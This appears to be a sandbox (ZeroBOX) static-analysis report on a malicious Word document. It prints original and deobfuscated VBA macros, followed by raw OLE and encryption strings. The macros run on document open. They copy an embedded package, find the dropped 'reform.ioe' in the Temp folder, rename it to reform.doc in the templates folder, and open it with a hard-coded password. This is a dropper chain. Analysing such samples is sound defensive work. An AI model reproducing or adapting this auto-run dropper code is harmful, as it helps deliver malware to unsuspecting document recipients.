popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\" & "reform.doc") = "" Then

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\" & "reform.doc")

Word.Documents.Close

End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\reform.doc") = "" Then

    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\reform.doc")

Word.Documents.Close

End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
    Documents.Open FileName:=spoc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub



Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Original

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "L" & "o"
fafaa = fafaa & "c" & "a" & "l"
fafaa = fafaa & "/"
fafaa = fafaa & "T" & "e"
fafaa = fafaa & "mp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd()
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49
Dim fafaa As String
fafaa = "Lo"
fafaa = fafaa & "cal"
fafaa = fafaa & "/"
fafaa = fafaa & "Te"
fafaa = fafaa & "mp"
Dim kuls As String
kuls = fafaa
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.i" & "oe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform" & ".d" & "oc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
    Dim Ters As Object
  Dim fffff
  fffff = "reform.ioe"
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim oxl
oxl = "\reform.doc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
nUZ=kI
$~u3{g
ieo.(S
5)93M
|,)#*h
i%C$WR
S'Z`>.
Cw+GoSG
GRTum\
-&=^%f
ui,."1r
ukm>i3
u9_,ZOG
WVO}Z8(x;
Paz#mv8
O+:k=R
t_:o!Uc
ki${dc
G-;Fn,|
ywe*0}
\\jW:U
rivik'
T.c*MG
-l..Ya
jmSL]gG
-lUo5+y
G/zM\q
a5mCUi#
S[yK3|
|W6m+/
I/<9"Gz
[Oki,*
]pW9*i
/<!$rJ
REo43F
jW?"6c
~Vkhdo'o
g4PI$RG3G
Ja'v::|
=UD{kJ;
tFWW9e
mZ+%dsN<
Wg<k,o
+W]MyY
iD&e*
>_+}Rb;O
jp[^,-
~}_x;L
^fO:H.
'$?h]j
S4[ZY$
xoTY#J
jvwRIp
R(eo-Yw7
"gsK#|
RIUlf3
joZ<Qq
?=eR7F
<Ar#TM
X}sO[y
rx:]c[
^KnY^3
+$?l[a
\GVn/!
IW.?u
kmsV;x
[xOKm>
t]tCP][$
tslFhZ/
e]1n^%
,Mk;E
scogy=
9m'_28
>'kpxwM
RG%I)\u
Tt;8l6yP
4T'Ze
SkA5rJ
^Iwe,Mx
?.I~_3v
]5oSdcO
i#2C4ed
_2kgy--d
4i+6?v
RyuiXM\mIE
yS],P43[
}FuHbA
{H,4Y"
[H4}5^x
q"El^$
SSh9t35KO
mNInaV
8uK)mnb
zlWI,7
PCW1|y
USWg&"MlS
WRT~W
z4j)+3
u4vur;:
jIEGRU
.InTa&
9>$xkK
kJ7fu6,
o>4^J6[
QEdhtc
Vt54r-p
CV*!RTu%
uI|Iqq
E}'EU
\Z0}h
OLE Package
Package
Normal.dotm
reform.ioe
C:\Users\MyPc\Desktop\New folder\reform.ioe
C:\Users\MyPc\AppData\Local\Temp\reform.ioe
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="6sc/gA4
YZ1ow I
=4qK9@[SXnZ@
m7_3C,>
vf{DUc
rnC|TK
)XR$K;
k6:gl,KX
MrLx]y
ijQi]3
U|jvZWJ/C
M&DU:b
=p)7u&
3C7l@-+
(xa9$^H;
!u`D.y
K7:ZhF
(-29z,
O:fdjo
,G6jh10P
JCN>u/o
?\)@S
Ppd(N0
iBXZ$@
?=`QO1
^)q'$Mt
PYeGu`v`
bpZmd*
Y";.b&
r7L?Q`
tb@hv9.
xFLC ^
BTyWU!
Tk:i1{;
<M,uJy
xrr o0
Sxb.0IxR
R~Ej1<
MyPo^Q
PMwY]=
Y]Q.H&m
<O.2BZ
Ur U@O
m4(RA$H
Wt}_Ln!
#ku=DK)
|*#c.F
)FdiJ$>
;ZGi)A
Zle:rD
'|T.Pm
$+-=Z:2
K)PSCb
l1a&@L
<y,MZf
]2{4p#
6yG/e[
8#g?<4Vh
IdT5pg
)zw0c?
0'lf{
*IwU.gE
HO,TwSF
i9LBri
wxwX9p
y)/kHx
]ibp`o
>_3'"c
3!%d:h
x&)0VNP
!juK6#
/#zL>v?
tx7]s+xJ
6(pY[kV
lN5;FYq
p%riV9
=$=2~y
D>Uo||{
/{rxmB
[|p0> O
#tH`D4
5PNX+}[
B jA<V
bF/T3SwF!
ui?ls+~
QK}Rg@q'
i/D9];Lr^
pbRh$gh
GJ.wxyd
6:6#M,M
67c-SBv
n@)=,`/
DTLpntDT
H_O&0Am
EgQu=,
$3-F-h
vAiw6X
o%6^qZn
!@_!Kf
3*5!DC
(a`;e1
<;Ks4N
6Kz(&]
qrh?P,n8M
;OZW0t^
/q4DXT$.u
2Th|`#
J >..h8
#9m67S
Gsan@'
x%4c}h
,[{0rf
2oeFk:
^7C}sM
C']QiCnx
=eI-AW>t\i
D7n5k`
SA4@u(
2Zf~4y
RXke[L
1}=V%/
!)<6*j
>Rr)"|t}8
cC{aGXS
hvlg|2!
Xd2zB.
IIivK7
W9VW"[R
geS5:h[
X}FcFe
)/f!m]J
M2iI:*n
XEM(r0
4t1SWSX<VJ
6U`1k6cQ=J
D{}jx6;)
XwDHzF
pP?fqa
(U*Y(Z/
n2B8|L
dS8P}7
*RC9Wr
b9-\Kwq
Z#(o Z
f7GPLB
y}Z,,5
/2u-|2
qwG.AW
;{Ak8"
`'C%=@
oK`PMg
5~u48Ry
bpb"Dw
uCQqTd
GH49p?
s6E`~[
y2=HF\
Y]he;3
sw@Ke1
UH-}F&
>YJd){:
j80QHmw
$oXBA|r r
?KN5$t
j]L5)
`grbu1
/<(V >
lEj>*F
MDkYwK
<G1FkE
sIusAm
@zn(fX
L}{q:D
<r,DNr
Ugj;<'
yWE1"hWd
a'u+FZ7F
SW~n s
$|D5u[
z\2:Ih!
o}-Hr!%
Ovw`uj
2('vBpc
qkZCGS
[=A%!c0
Z[^_l\F
r=#tt1
M'V:HB
{Ji<g'\
t="pd~
QN8?mz
XDkD3Xc)
EwGD9G
GsI{1o
Rt;[J6
{@D*=j
`dP`M/
gwHSe2
7Nt|AB-
#n7VuN
AcKaKt
.jYJ*!
SddAac
HS_,z2
Xq*v8\
?_BL\f
=7?Z6p
+CFCPp
i;}IO4
Mp+:n!
c%VDw^
NYrGWX)v
3t(#/x
?l~Qv}
t/dh*D2
|e(\Ku
!A#kWI
FBV;&!
6j}hU(y
T{(/9O
lY>`BqZl
pC$]/y+
\c9G%Z8MJTZ
0Z)(@j
rSP*w<
>c}0TT
[tg)nwT
<SvT$c
E_I3EVK,
_+}RON
fM)TFW
1B:~Rv
IjGh9j6v
YvKL=2
KiR.`~e
tn&*lS
~GI<Tq|(iM
%0"ost
$75:gm4('
y|vVTef
CY91V@
T?wI5ZW
IR-qi[,
%(CD9t
O6pmk.
t*)}@Bq
5> 1q
m(P3Z
[L9JeW_
(/FuG(
W{!yaet
R3L],H
:p?nG{pT
4K^)UW
#nboG4Z
EZ5\ak
}4TjN|
*0.+H/snZ
V-jJ;X
GNKWq<
Zlq~,VF
G%DoIM
p^j9x@
J_JW%H
:039N6
f&GU^(
;)j&Uu
mxcM^50
ckt,1v
UX~'9K
FSGGZo
jjL<g"
;!61yX~
=V{oj8
Y%E+bh
,pMo*?
b(uxc
k+;q+K
SDf*gs#
fp`02L
Pje<jog
$Y06%Y
Ym`tf}
2X: _a
iu&1xH
79ify&
y$DQ~z
P_6PU*
gBqdEY
nDqy#H4N4
UW-WXt
\g'bqd
M:yigj
u)'VyG
u5eX-Q/S
NB#b0C
at]B~;
cS <2!
TH8m&L:
c_w\;z
U;%{U~
ac|J?B
3Ku^"R
gfiH-*
XgOI&|
9`od6
4aEg
[I ~PP
{L`ka\
3`n\qZss
js%ZZ4;B
DVvpl\j
(bAvyo[8
4mhI~C
-4"r%
g,:Ep6ccXC
?u lt4&
`zfueihJ
K%pC;7u
/m|C[s
|6TuwD?
a<8g=Nm
~E*:aR
g#N1W'
Y7O]];y+
H'ohcfm
g6PrUqaOeFvQdTw=="/><dataIntegrity encryptedHmacKey="q4vrPF79txDehY8Joa4CnjL3XR6M0Ub5BmTOr6WJuLBgdb/z0Mjd6x8SFm12wkrynmQe+puRsTC85tTnSmXWjw==" encryptedHmacValue="fAOYWaoETgJ1S+bmYsAtwWhuv5TdbbojlYGLst1ePQWe7t5WsZx3jbCmvEgbvSurTXIrHGOF3A606YIQdVytmA=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="uWRLvVCzR8NhD0qSYw8tZg==" encryptedVerifierHashInput="YboVG7AnxgG49qRSX0CQgQ==" encryptedVerifierHashValue="+OoWl6+sS04EduCaymT7FL0iQDjR6etXQRrbCFip91gTxGUpZT3leUc2NKdYO5dhYuj/nv5g5r6MaUgjc6rHSw==" encryptedKeyValue="W5mkFx5dG+Fl32FQXTdEw2gX5F7Hbc7V0a5M1fj7iNc="/></keyEncryptor></keyEncryptors></encryption>
!|e1u;]V
3_S'Q
RII%{%
|>/[[[r
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
5Scrip
f420B2
fE718-1
1CF-893D
20C90542 28}#1
run.dllH*
Runtim
sDocumenPtG
ModuleP1G
2281337
Attribut
e VB_Nam
e = "Mod
Sub pppx
(spoc As
Docume
nts.Open File
Z, Confi
ons:=Fal
se, Read
Only:= _
AddTo8Rec
5Pa@ssword
="228133
'Tem`plate
'Fordma
uto, XML
Transf
Attribut
e VB_Nam
e = "Mod
Sub bvx
fcsd()
Selecti
on.MoveD
own Unit
:=wdLine@, Coun
^Charac
TypeBack`space
aultFile
Path(wdU
serTemplpates
afaa As
L" & "o
:kulsI#
f Dir(LeHft(
D"" pThenCL
End If!D
ument.hd
reform.i
\reform
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
m.i" & "
%Files
andle:
Call ous
reform.doc
reform.doc
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim hdv
X Sub
_Open()
kytreww&f
DefaultF
ilePath(@wdUser
& "\D" @
|. doc")A
" @Then
all bvxfhcsd
C)0 > 2D
rd.EEs.Cl
End If|
dhdd(asd
AHSyste
mObjec@x
C^Sourc
eFolderA
(= New
TSearc
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
Document_Open
dfgdgdgH
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
bvxfcsdn
Documents
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
ousx4$
Module3d
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
ntgs|W
fafaaM
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
Documentj
ID="{D4B4C052-B6D7-480D-B6F1-9D8CD14644E5}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Name="Project"
HelpContextID="0"
VersionCompatible32="3932P
22000"
CMG="CAC82569076D076D076D076D"
DPB="A8AA479848984898"
GC="868469AD99557656765689"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 493,
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529,
ThisDocument
Module1
Module3
Module123345
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
Root Entry
WordDocument
ObjectPool
_1693173114
EPRINT
CompObj
ObjInfo
Segoe UI
reform.ioe
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\reform.ioe
reform.ioe+
C:\Users\MyPc\Desktop\New folder\reform.ioe
Macros
Module1
Module3
Module123345
ThisDocument
_VBA_PROJECT
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
016337a5e9
ThisDocument
Module1
026337a5e9
Module1
Module3
036337a5e9
Module3
Module123345
046337a5e9
Module123345
PROJECT
PROJECTwm
CompObj
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module3.bvxfcsd
PROJECT.MODULE3.BVXFCSD
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
No antivirus signatures available.
No IRMA results available.